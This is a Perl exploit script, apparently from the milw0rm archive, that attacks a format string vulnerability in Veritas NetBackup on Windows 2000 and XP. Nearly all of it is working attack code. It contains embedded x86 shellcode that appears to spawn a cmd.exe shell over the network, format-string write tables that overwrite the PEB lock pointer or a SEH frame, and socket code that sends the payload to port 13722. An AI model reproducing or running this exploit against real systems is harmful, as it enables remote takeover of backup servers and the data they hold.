#!C:\Perl\bin\perl.exe -w
#
# Vertias Netbackup Win32 format string exploit
# Code By: johnh[at]digitalmunition[dot]com & kf[at]digitalmunition[dot]com
#
# For win2k/xp pre sp2 we overwrote PEBFastlock -> rtlentercritical
# For win xp sp2 we overwrote SEH
# http://www.digitalmunition.com/
#
# You may have to run this 2 times.
use IO::Socket;
use Getopt::Std; getopts('h:p:t:', \ our %args);
if (defined($args{'h'})) { $host = $args{'h'}; }
if (defined($args{'p'})) { $port = $args{'p'}; }else{$port = 13722;}
if (defined($args{'t'})) { $target = $args{'t'}; }
print "\n-=[Remote Veritas NetBackup Format String exploit]=-\n\n";
print "\n-=[TagTeam johnh[at]digitalmunition[dot]com and kf_lists[at]digitalmunition[dot]com]=-\n\n";
if(!defined($host)){
print "Usage:
-h <host>
-p port <default 13722>
-t target:
0 - Windows 2k/Windows XP SP0/SP1 - PEB
1 - Windows XP SP2 - SEH\n\n";
exit(1);
}
my $sock = new IO::Socket::INET(PeerAddr => $host,PeerPort => $port,Proto => 'tcp');
$sock or die "no socket :$!";
# 970 chars in length.
my $shellcode = "\x90"x100;
$shellcode .=
"\xeb\x42" .
"\x56".
"\x57".
"\x8b\x45\x3c".
"\x8b\x54\x05\x78".
"\x01\xea" .
"\x52" .
"\x8b\x52\x20".
"\x01\xea".
"\x31\xc0".
"\x31\xc9".
"\x41" .
"\x8b\x34\x8a".
"\x01\xee".
"\x31\xff".
"\xc1\xcf\x13" .
"\xac" .
"\x01\xc7".
"\x85\xc0".
"\x75\xf6".
"\x39\xdf".
"\x75\xea".
"\x5a" .
"\x8b\x5a\x24" .
"\x01\xeb" .
"\x66\x8b\x0c\x4b".
"\x8b\x5a\x1c" .
"\x01\xeb" .
"\x8b\x04\x8b" .
"\x01\xe8" .
"\x5f" .
"\x5e" .
"\xc3" .
"\xfc" .
"\x31\xc0".
"\x64\x8b\x40\x30".
"\x8d\x78\x20" .
"\x8b\x40\x0c" .
"\x8b\x70\x1c" .
"\xad" .
"\x8b\x68\x08".
"\x89\xee".
"\x31\xc0".
"\x64\x8b\x40\x30".
"\x8b\x40\x0c" .
"\x8b\x40\x1c" .
"\x8b\x68\x08" .
"\xbb\x6f\x5b\x8b\x9c".
"\xe8\x8f\xff\xff\xff".
"\xab" .
"\xbb\xe1\x0f\xfe\xb7".
"\xe8\x84\xff\xff\xff".
"\xab" .
"\x89\xf5".
"\x31\xc0".
"\x66\xb8\x6c\x6c".
"\x50" .
"\x68\x33\x32\x2e\x64".
"\x68\x77\x73\x32\x5f".
"\x54" .
"\xbb\x71\xa7\xe8\xfe" .
"\xe8\x65\xff\xff\xff" .
"\xff\xd0" .
"\x89\xef" .
"\x89\xc5" .
"\x81\xc4\x70\xfe\xff\xff" .
"\x54" .
"\x31\xc0".
"\xfe\xc4".
"\x40" .
"\x50" .
"\xbb\x22\x7d\xab\x7d".
"\xe8\x48\xff\xff\xff".
"\xff\xd0" .
"\x31\xc0" .
"\x50" .
"\x50" .
"\x50" .
"\x50" .
"\x40" .
"\x50" .
"\x40" .
"\x50" .
"\xbb\xa6\x55\x34\x79".
"\xe8\x32\xff\xff\xff".
"\xff\xd0" .
"\x89\xc6" .
"\x31\xc0" .
"\x50" .
"\x50" .
"\x35\x02\x01\x70\xcc".
"\xfe\xcc" .
"\x50" .
"\x89\xe0".
"\x50" .
"\x6a\x10" .
"\x50" .
"\x56" .
"\xbb\x81\xb4\x2c\xbe" .
"\xe8\x11\xff\xff\xff" .
"\xff\xd0" .
"\x31\xc0" .
"\x50" .
"\x56" .
"\xbb\xd3\xfa\x58\x9b" .
"\xe8\x01\xff\xff\xff" .
"\xff\xd0" .
"\x58" .
"\x60" .
"\x6a\x10".
"\x54" .
"\x50" .
"\x56" .
"\xbb\x47\xf3\x56\xc6".
"\xe8\xee\xfe\xff\xff".
"\xff\xd0" .
"\x89\xc6" .
"\x31\xdb" .
"\x53" .
"\x68\x2e\x63\x6d\x64".
"\x89\xe1" .
"\x41" .
"\x31\xdb".
"\x56" .
"\x56" .
"\x56" .
"\x53" .
"\x53" .
"\x31\xc0".
"\xfe\xc4".
"\x40" .
"\x50" .
"\x53" .
"\x53" .
"\x53" .
"\x53" .
"\x53" .
"\x53" .
"\x53" .
"\x53" .
"\x53" .
"\x53" .
"\x6a\x44".
"\x89\xe0".
"\x53" .
"\x53" .
"\x53" .
"\x53" .
"\x54" .
"\x50" .
"\x53" .
"\x53" .
"\x53" .
"\x43" .
"\x53" .
"\x4b" .
"\x53" .
"\x53" .
"\x51" .
"\x53" .
"\x87\xfd" .
"\xbb\x21\xd0\x05\xd0".
"\xe8\xa8\xfe\xff\xff".
"\xff\xd0" .
"\x5b" .
"\x31\xc0".
"\x48" .
"\x50" .
"\x53" .
"\xbb\x43\xcb\x8d\x5f".
"\xe8\x96\xfe\xff\xff".
"\xff\xd0" .
"\x56" .
"\x87\xef".
"\xbb\x12\x6b\x6d\xd0".
"\xe8\x87\xfe\xff\xff".
"\xff\xd0" .
"\x83\xc4\x5c" .
"\x61" .
"\xeb\x81";
#/*
#7FFDF250 54 PUSH ESP
#7FFDF251 5F POP EDI
#7FFDF252 B8 90909090 MOV EAX,90909090
#7FFDF257 FD STD
#7FFDF258 F2:AF REPNE SCAS DWORD PTR ES:[EDI]
#7FFDF25A 57 PUSH EDI
#7FFDF25B C3 RETN
#
#and
#
#over write FastPebLockRoutine pointer to EnterCriticalSection with our code address of 7FFDF250
#
#7FFDF020 7FFDF250
#
#*/
print "TARGET IS $target\n";
if ($target == 0) {
$c = 8;
@fmt_array = (
#WINDOWS 2K SP4/XP SP0-SP1
#OVERWRITE PEB FASTLOCKPOINTER -> RTLEnterCriticalSection
[ 0x7FFDF250, 0x7FFDF252, 0x7FFDF254, 0x7FFDF256, 0x7FFDF258, 0x7FFDF25A, 0x7FFDF022, 0x7FFDF020 ],
[ 0x5f54, 0x90b8, 0x9090, 0xfc90, 0xaff2, 0xc357, 0x7ffd, 0xf250 ],
);
}
if ($target == 1) {
$c = 10;
@fmt_array = (
#windows XP SP2
#OVERWRITE STATIC SEH FRAME
[ 0x7FFDF250, 0x7FFDF252, 0x7FFDF254, 0x7FFDF256, 0x7FFDF258, 0x7FFDF25A, 0x0012ffb0, 0x0012ffb2, 0x0012ffb6, 0x0012ffb4 ],
[ 0x5f54, 0x90b8, 0x9090, 0xfc90, 0xaff2, 0xc357, 0x9090,0x9090,0x7FFD, 0xF250 ],
);
}
my $offset = 0;
my $dump_fmt=6; #amount of %.8x needed to reach stackbase
my $payload;
my $payload2;
my $hi;
my $lo;
my $last = 0;
my $flag = 2;
my @shift;
for (my $y = 0; $y < $c; $y = $y + 2)
{
$payload = "%08x" x $dump_fmt;
$payload2 = pack('l', $fmt_array[0][$y]) . "AAAA" . pack('l', $fmt_array[0][$y+1]);
$hi = $fmt_array[1][$y] - 0x2a - 35;
$lo = $fmt_array[1][$y+1] - $hi - 77;
$payload .= "%$hi" . "x%hn%$lo" . "x%hn";
print $sock " 118 1\nSNO space filler\n";
print scalar <$sock>;
print scalar <$sock>;
print $sock " 101 6\n" .
"$payload" . "\n" . # You must finish the line off with a line feed.
"dummy space\n" .
"$shellcode\n" .
"$payload2" . "\n" .
"spare bits\n" .
"spare bits\n\n";
print scalar <$sock>;
print scalar <$sock>;
}
if ($target == 1)
{
#create exception so SEH is called
print $sock " 118 1\nSNO space filler\n";
print scalar <$sock>;
print scalar <$sock>;
print $sock " 101 6\n" .
"%n" . "\n" . # You must finish the line off with a line feed.
"dummy space\n" .
"$shellcode\n" .
"AAAAAAAAAAAA" . "\n" .
"spare bits\n" .
"spare bits\n\n";
print scalar <$sock>;
print scalar <$sock>;
}
close $sock;
# milw0rm.com [2005-10-20]
